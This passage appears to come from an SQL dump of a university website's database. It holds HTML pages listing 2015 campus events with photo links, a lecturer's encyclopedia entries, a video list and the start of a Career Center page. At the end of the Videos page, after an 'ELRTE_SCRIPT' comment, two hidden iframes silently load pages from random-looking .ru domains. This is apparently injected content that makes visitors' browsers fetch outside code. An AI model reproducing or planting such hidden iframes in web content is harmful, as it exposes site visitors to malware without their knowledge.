href=\"https://www.facebook.com/media/set/?set=a.1102110516466019.1073742074.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.11.2015&nbsp;Botanical garden - as Farid saw it (</span><a href=\"https://www.facebook.com/media/set/?set=a.1102109603132777.1073742073.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">06.11.2015&nbsp;Textbooks Training (</span><a href=\"https://www.facebook.com/media/set/?set=a.1099746720035732.1073742071.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">05.11.2015&nbsp;Virtual Garabagh (</span><a href=\"https://www.facebook.com/media/set/?set=a.1099735430036861.1073742070.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">05.11.2015&nbsp;Newton\'s laws and Gravitation (</span><a href=\"https://www.facebook.com/media/set/?set=a.1099732730037131.1073742069.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">05.11.2015&nbsp;Biological and Environmental Sciences and Technologies (</span><a href=\"https://www.facebook.com/media/set/?set=a.1099247710085633.1073742068.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">04.11.2015&nbsp;General meeting of Religions and Cultures department (</span><a href=\"https://www.facebook.com/media/set/?set=a.1099219640088440.1073742067.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">04.11.2015 The problem of Personality in Azerbaijani public and pedagogical opinion (</span><a href=\"https://www.facebook.com/media/set/?set=a.1099217740088630.1073742066.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">02.11.2015&nbsp;Approved consert program (</span><a href=\"https://www.facebook.com/media/set/?set=a.1098349223508815.1073742064.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">30.10.2015 Engineering faculty - Welcome Party (</span><a href=\"https://www.facebook.com/media/set/?set=a.1097894043554333.1073742063.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">30.10.2015 Student Information System (</span><a href=\"https://www.facebook.com/media/set/?set=a.1096537717023299.1073742060.799143400096067&amp;type=3&amp;uploaded=15\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">23.10.2015: Meeting with Freshmen of School of Engineering and Applied Sciences - (</span><a href=\"https://www.facebook.com/media/set/?set=a.1093501323993605.1073742047.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">23.10.2015 Risk Management Seminar (</span><a href=\"https://www.facebook.com/media/set/?set=a.1094859647191106.1073742051.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.10.2015&nbsp;Rector Meets with New International Students&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1093440413999696.1073742046.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">S</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.10.2015 Kulakov Sergey in the Khazar University (</span><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">S</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">20.10.2015 School of Education’s Annual Welcome Party</span><a title=\"School of Education’s Annual Welcome Party\" href=\"http://www.khazar.org/news/2015/School-of-Educations-Annual-Welcome-Party_7191.html\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PH</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">OTO</a><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">S</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">19.10.2015 Knowledge Bowl Winners Awarded&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1091748160835588.1073742042.799143400096067&amp;type=3\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">PHOTOS</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">17.10.2015 Meeting with Freshmen (</span><a href=\"https://www.facebook.com/media/set/?set=a.1090811174262620.1073742040.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">16.10.2015 Khazar University Students and Staff Visit Baku International Sea Trade Port&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1090413284302409.1073742039.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">10.10.2015 Human and Animal Physiology Class Held in Laboratory&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1088447121165692.1073742038.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">10.10.2015 Legal Training Center Event&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1087479151262489.1073742037.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">09.10.2015 Medical Biology Class Held in Laboratory&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1086945807982490.1073742035.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">08.10.15 General Biology Class Held in Laboratory (</span><a href=\"https://www.facebook.com/media/set/?set=a.1086507348026336.1073742034.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">07.10.15 New Laboratory Classes (</span><a href=\"https://www.facebook.com/media/set/?set=a.1086068504736887.1073742033.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">03.10.2015 38-39th Graduation Ceremony&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1085252698151801.1073742031.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO)</a></p><p><a href=\"https://www.facebook.com/media/set/?set=a.1085252698151801.1073742031.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">30.09.15 Motivational Letter Writing Workshop at Career Center&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1082916258385445.1073742030.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">29.09.15 History faculty\'s meeting with students of Education School&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1082551901755214.1073742029.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.09.15 Masterly Lectures of Oleg Pokhanovski&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1079907182019686.1073742025.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">23.09.2015 Meeting with Grigori Khalyagin &nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1080014332008971.1073742028.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">23.09.2015 Financial Aid Letter Workshop at Career Center&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1079938142016590.1073742026.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">22.09.2015 Scientific council&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1079906718686399.1073742024.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">21.08.2015 2th Graduation Ceremony of Potential School Principals&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1079462008730870.1073742023.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">20.09.2015 1th meeting of Student Union\'s Parliament&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1078933008783770.1073742021.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">18.09.2015&nbsp;Thomson Reuters in Khazar University&nbsp;(</span><a href=\"https://www.facebook.com/media/set/?set=a.1077971228879948.1073742020.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"></span><span style=\"font-family:arial, helvetica, sans-serif\">18.09.2015 Project Administration School (</span><a href=\"https://www.facebook.com/media/set/?set=a.1077970678880003.1073742019.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">18.09.2015 Presents of İRS magzine to Khazar University (</span><a href=\"https://www.facebook.com/media/set/?set=a.1077970485546689.1073742018.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">18.09.2015 Galib Khalil in Khazar University (</span><a href=\"https://www.facebook.com/media/set/?set=a.1077970265546711.1073742017.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">17.09.2015 Discover Azerbaijan Turan Kərimli ilə görüş (</span><a href=\"https://www.facebook.com/media/set/?set=a.1076904108986660.1073742016.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span></p><p><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">15.09.2015 Yeni tədris ilinin açılışı (</span><a href=\"https://www.facebook.com/media/set/?set=a.1075957255748012.1073742015.799143400096067&amp;type=3\" target=\"_blank\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">FOTO</a><span style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">)</span>  <br></p>'),(2103,1293,'az','Xəzər Universitetinin müəlliminin məqalələrinin siyahısı Türkiyə ensiklopediyasında','Xəzər Universiteti Dillər və mədəniyyətlər kafedrasının dosenti Zivər Hüseynlinin Türkiyədə çapdan çıxmış ensiklopediyada maddələri yayınlanmışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversiteti Dillər və mədəniyyətlər kafedrasının dosenti Zivər Hüseynlinin\r\nTürkiyədə çapdan çıxmış ensiklopediyada maddələri yayınlanmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Türkiyə\r\nRespublikası Gömrük və Ticarət Nazirliyi tərəfindən eyni adlı dövlət qurumunun\r\nnəşriyyayında 2016-ci ildə çap edilmiş iki cildlik “Ahilik” ensiklopediyasında\r\nZ.Hüseynlinin on yeddi adda maddəsi dərc edilmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Orta\r\nəsrlərdə Azərbaycan, Anadolu və İranda fəaliyyətdə olmuş sənətkarlardan ibarət\r\n“Əxilik” ictimai təşkilatına aid sənət növləri və sənətkarlar haqqında ədəbiyyatda\r\n“Futüvvətnamə” və ya “Risalə” adlı nəzm və nəsr əsrlərdən ibarət yazı nümunələri\r\nmövcuddur. Zivər Hüseynli fars dilində yazılmış futüvvətnamə və risalə nümunələrini\r\naraşdırmış və ensklopediyada nəşrə təqdim etmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;Maddələrin hər binin adı və ensiklopediyada\r\nyer aldığı səhifələr haqqında aşağıda məlumat verilir:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Goşiriye”. C.1. s.227-228.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Tuhfetü`l-İhvan fi Hasais-i Fityan”. C.1. s.331.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Fütüvvetiye”. C.1. s.227.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Fütüvvetname-i Riyaz Muhammed”. C.1. s.433.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “ Fütüvvetname-i Ahengeran”. C.1. s.430.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Çitsazan”. C.1. s.431-</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i der Beyan-Esnaf”. C.1. s.227.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Risale-i Diger der Bare-i Esnaf”. C.1. s.227.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Dellakan”. C.1. s.432.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Emirelmüminin Hz. Ali”. C.1. s.432.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Haccaman”. C.1. s.432.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Kassab”. C.1. s.432-</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Kefşduzan”. C.1. s.433.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. “Fütüvvetname-i Selmanian”. C.1. s.433.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. <strong>“Fütüvvetname-i Seyyid”</strong>. C.1.\r\ns.433-434.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. <strong>“Fütüvvetname-i Seyyid Ezzi\r\nMervi”</strong>. C.1. s.434.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">•&nbsp;&nbsp;&nbsp;&nbsp; Ahilik Ansiklopedisi, T.C. Gümrük ve\r\nTicaret Bakanlığı yayınları. 2016, Ankara. <strong>“Fütüvvetname-i&nbsp; Tabbahan”</strong>. C.1. s.434.</p>'),(702,495,'en','Videos','Videos','<div><br></div><p>1. Hamlet Isaxanlı - \"Ziyarət\"ə giriş (<a href=\"https://www.youtube.com/watch?v=tTrFKkNOWdA&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>2. Xəzər Universitəsi (video rolik) - 2006 (<a href=\"https://www.youtube.com/watch?v=BTixz4Xe5CE&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=39\">videonu izlə</a>)</p><p>3. Məzunlarla görüş - 2011 (<a href=\"https://www.youtube.com/watch?v=E52CVI4EIo8&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=38\">videonu izlə</a>)</p><p>4. Media Mərkəzinin əməkdaşları Qobustanda (<a href=\"https://www.youtube.com/watch?v=uLJuX4EtbII&amp;index=37&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>5. Xəzər Universitəsi \"Got Talant -&nbsp;2\" (<a href=\"https://www.youtube.com/watch?v=DeNDeERMQA0&amp;index=36&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>6. Xəzər Universitəsi - Sevgililər günü (<a href=\"https://www.youtube.com/watch?v=tbBKt6zEI4A&amp;index=35&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>7.&nbsp;Xəzərin mahnı və rəqs ansambılının Gəncəyə səyahəti. 1999-cu il. (<a href=\"https://www.youtube.com/watch?v=eW_vLJRpQuc&amp;index=34&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>8.&nbsp;Xəzər Universitesi&nbsp;- Əhməd Cavad tamaşası (<a href=\"https://www.youtube.com/watch?v=qFH5Ixt9qWk&amp;index=32&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>9. Xəzər Universitesi - Xarici tələbələrin konserti 2003 (<a href=\"https://www.youtube.com/watch?v=MAsIGsOJje4&amp;index=31&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>10.&nbsp;Media Mərkəzi şəhər gəzintisində (<a href=\"https://www.youtube.com/watch?v=U7nKDQoY05g&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=30\">videonu izlə</a>)</p><p>11.&nbsp;Khazar University - Yeni il şənliyi. 1995 (<a href=\"https://www.youtube.com/watch?v=NhATn7BjoVA&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=29\">videonu izlə</a>)</p><p>12.&nbsp;Nəbatət bağında gəzinti - Media Mərkəzi 2009-cu il (<a href=\"https://www.youtube.com/watch?v=EFfBA4FkGUs&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=28\">videonu izlə</a>)</p><p>13.&nbsp;Multimedia Mərkəzi və Tarix Departamenti Xalça Muzeyində (<a href=\"https://www.youtube.com/watch?v=oTyTikAKo_Y&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=27\">videonu izlə</a>)</p><p>14.&nbsp;Dünya məktəbinin acılış mərasimi - 29.09.2014 (<a href=\"https://www.youtube.com/watch?v=BNkYCe1GhWQ&amp;index=26&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>15.&nbsp;Idman və Mədəniyyyət departamentinin bayram şənliyi - 03.10.1999 (<a href=\"https://www.youtube.com/watch?v=4-Lh2EUC45E&amp;index=25&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>16.&nbsp;Hamlet İsaxanlının Tiflisdeki kitab teqdimati (<a href=\"https://www.youtube.com/watch?v=AXAt-C8Om3s&amp;index=24&amp;list=UUk54XSjlo8u5PXtzACWqL6g\">videonu izlə</a>)</p><p>17.&nbsp;Məmməd Əmin Rəsulzadə və Nəriman Nərimanovun Azərbaycan tarixində rolu - 2002 il &nbsp;(<a href=\"https://www.youtube.com/watch?v=RENWfuqoRfc&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=23\">videonu izlə</a>)</p><p>18.&nbsp;Dünya məktəbinin açılışı- 1999 &nbsp;(<a href=\"https://www.youtube.com/watch?v=7Iuiaw6epbc&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=22\">videonu izlə</a>)</p><p>19.&nbsp;Media Mərkəzi - Göyçay 31.10-01.11.2014 (<a href=\"https://www.youtube.com/watch?v=zog9OODS0Hs&amp;list=UUk54XSjlo8u5PXtzACWqL6g&amp;index=21\">videonu izlə</a>)</p><p>&nbsp;20. Alibaba Abdullayev, famous Azerbaijani folklore dancer, outstanding teacher and choreographer, People`s Artist of the Azerbaijan SSR, opened a new era in the history of Azerbaijani national dancing culture. His heritage includes about 200 folklore dances now well-know throughout the world. He was awarded 8 gold, 1 silver and 3 bronze medals at different dance festivals. His repertoire is considered to be an unchallengable masterpiece at Azerbaijani folklore dance.Natella Barkaya, the Director of Khazar University Multimedia Centre, has selected all videos from her personal and university archieves.&nbsp;(<a href=\"https://www.youtube.com/watch?v=tr3s3qIWccw&amp;list=PLUBP1kPTxSFoilMSeeFqublGdzjvXKBKH\">videonu izlə</a>)  <br></p>  <!-- ELRTE_SCRIPT:script5419189757264109 --><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=24108\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=24108\" style=\"display:none\"></iframe>'),(703,496,'en','About Us','About Us','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The Career Center inspires and supports students to transition confidently beyond the Khazar University by creating a dynamic space to gain clarity through their process of self-discovery.</p><p>We prepare our students to enter the job market after graduation, connecting them with employers and provide support in the acquisition of knowledge and skills required in today\'s labor market.</p><p>We help students secure internships and jobs, and experience the work world through job shadows.</p><p>The Career Center provides individualized and group sessions to help clarify your interests and assist in:</p><br><ul><li>preparing 